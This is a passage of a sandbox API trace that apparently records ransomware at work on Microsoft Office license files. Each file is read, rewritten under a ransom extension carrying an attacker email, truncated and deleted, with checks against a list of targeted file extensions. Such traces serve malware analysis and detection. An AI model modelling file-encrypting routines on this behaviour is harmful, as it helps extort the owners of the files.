office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.222] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.222] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.223] GetLastError () returned 0x0 [0285.223] ReadFile (in: hFile=0x544, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x51e7, lpOverlapped=0x0) returned 1 [0285.237] WriteFile (in: hFile=0x540, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x51f0, lpOverlapped=0x0) returned 1 [0285.238] ReadFile (in: hFile=0x544, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.238] WriteFile (in: hFile=0x540, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0285.238] SetEndOfFile (hFile=0x540) returned 1 [0285.239] CloseHandle (hObject=0x540) returned 1 [0285.239] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.239] SetEndOfFile (hFile=0x544) returned 1 [0285.242] CloseHandle (hObject=0x544) returned 1 [0285.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0285.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.246] lstrlenW (lpString=".doc") returned 4 [0285.246] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.246] lstrlenW (lpString=".docx") returned 5 [0285.246] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.246] lstrlenW (lpString=".pdf") returned 4 [0285.246] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.246] lstrlenW (lpString=".xls") returned 4 [0285.246] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.246] lstrlenW (lpString=".xlsx") returned 5 [0285.246] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.246] lstrlenW (lpString=".ppt") returned 4 [0285.246] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.246] lstrlenW (lpString=".zip") returned 4 [0285.246] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".rar") returned 4 [0285.247] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".bz2") returned 4 [0285.247] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".7z") returned 3 [0285.247] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.247] lstrlenW (lpString=".dbf") returned 4 [0285.247] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.247] lstrlenW (lpString=".1cd") returned 4 [0285.247] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.247] lstrlenW (lpString=".jpg") returned 4 [0285.247] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.247] lstrlenW (lpString=".doc") returned 4 [0285.247] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".docx") returned 5 [0285.247] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.247] lstrlenW (lpString=".pdf") returned 4 [0285.247] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".xls") returned 4 [0285.247] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.247] lstrlenW (lpString=".xlsx") returned 5 [0285.247] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.247] lstrlenW (lpString=".ppt") returned 4 [0285.248] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.248] lstrlenW (lpString=".zip") returned 4 [0285.248] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString=".rar") returned 4 [0285.248] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString=".bz2") returned 4 [0285.248] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString=".7z") returned 3 [0285.248] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.248] lstrlenW (lpString=".dbf") returned 4 [0285.248] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.248] lstrlenW (lpString=".1cd") returned 4 [0285.248] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0285.248] lstrlenW (lpString=".jpg") returned 4 [0285.248] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.248] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.248] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0285.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.249] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11586) returned 1 [0285.249] CloseHandle (hObject=0x540) returned 1 [0285.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0285.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.250] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.250] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.250] GetLastError () returned 0x0 [0285.250] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d42, lpOverlapped=0x0) returned 1 [0285.253] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0285.254] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.254] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x108, lpOverlapped=0x0) returned 1 [0285.254] SetEndOfFile (hFile=0x530) returned 1 [0285.255] CloseHandle (hObject=0x530) returned 1 [0285.255] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.255] SetEndOfFile (hFile=0x540) returned 1 [0285.257] CloseHandle (hObject=0x540) returned 1 [0285.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0285.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.259] lstrlenW (lpString=".doc") returned 4 [0285.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".docx") returned 5 [0285.259] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.259] lstrlenW (lpString=".pdf") returned 4 [0285.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".xls") returned 4 [0285.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".xlsx") returned 5 [0285.259] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.259] lstrlenW (lpString=".ppt") returned 4 [0285.259] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.259] lstrlenW (lpString=".zip") returned 4 [0285.259] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".rar") returned 4 [0285.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".bz2") returned 4 [0285.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.259] lstrlenW (lpString=".7z") returned 3 [0285.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.259] lstrlenW (lpString=".dbf") returned 4 [0285.260] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.260] lstrlenW (lpString=".1cd") returned 4 [0285.260] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.260] lstrlenW (lpString=".jpg") returned 4 [0285.260] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.260] lstrlenW (lpString=".doc") returned 4 [0285.260] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString=".docx") returned 5 [0285.260] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.260] lstrlenW (lpString=".pdf") returned 4 [0285.260] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString=".xls") returned 4 [0285.260] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString=".xlsx") returned 5 [0285.260] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.260] lstrlenW (lpString=".ppt") returned 4 [0285.260] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.260] lstrlenW (lpString=".zip") returned 4 [0285.260] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.260] lstrlenW (lpString=".rar") returned 4 [0285.260] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.261] lstrlenW (lpString=".bz2") returned 4 [0285.261] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.261] lstrlenW (lpString=".7z") returned 3 [0285.261] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.261] lstrlenW (lpString=".dbf") returned 4 [0285.261] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.261] lstrlenW (lpString=".1cd") returned 4 [0285.261] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0285.261] lstrlenW (lpString=".jpg") returned 4 [0285.261] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.261] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.261] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0285.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.262] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6860) returned 1 [0285.262] CloseHandle (hObject=0x540) returned 1 [0285.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0285.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.263] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.263] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.264] GetLastError () returned 0x0 [0285.264] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1acc, lpOverlapped=0x0) returned 1 [0285.367] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0285.368] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.368] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0285.369] SetEndOfFile (hFile=0x530) returned 1 [0285.591] CloseHandle (hObject=0x530) returned 1 [0285.591] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.591] SetEndOfFile (hFile=0x540) returned 1 [0285.594] CloseHandle (hObject=0x540) returned 1 [0285.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0285.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.596] lstrlenW (lpString=".doc") returned 4 [0285.596] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".docx") returned 5 [0285.596] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.596] lstrlenW (lpString=".pdf") returned 4 [0285.596] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".xls") returned 4 [0285.596] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".xlsx") returned 5 [0285.596] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.596] lstrlenW (lpString=".ppt") returned 4 [0285.596] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.596] lstrlenW (lpString=".zip") returned 4 [0285.596] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".rar") returned 4 [0285.596] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".bz2") returned 4 [0285.596] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.596] lstrlenW (lpString=".7z") returned 3 [0285.596] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.596] lstrlenW (lpString=".dbf") returned 4 [0285.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.597] lstrlenW (lpString=".1cd") returned 4 [0285.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.597] lstrlenW (lpString=".jpg") returned 4 [0285.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.597] lstrlenW (lpString=".doc") returned 4 [0285.597] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString=".docx") returned 5 [0285.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.597] lstrlenW (lpString=".pdf") returned 4 [0285.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString=".xls") returned 4 [0285.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString=".xlsx") returned 5 [0285.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.597] lstrlenW (lpString=".ppt") returned 4 [0285.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.597] lstrlenW (lpString=".zip") returned 4 [0285.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString=".rar") returned 4 [0285.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.597] lstrlenW (lpString=".bz2") returned 4 [0285.598] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.598] lstrlenW (lpString=".7z") returned 3 [0285.598] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.598] lstrlenW (lpString=".dbf") returned 4 [0285.598] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.598] lstrlenW (lpString=".1cd") returned 4 [0285.598] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0285.598] lstrlenW (lpString=".jpg") returned 4 [0285.598] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.599] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10619) returned 1 [0285.599] CloseHandle (hObject=0x540) returned 1 [0285.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0285.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 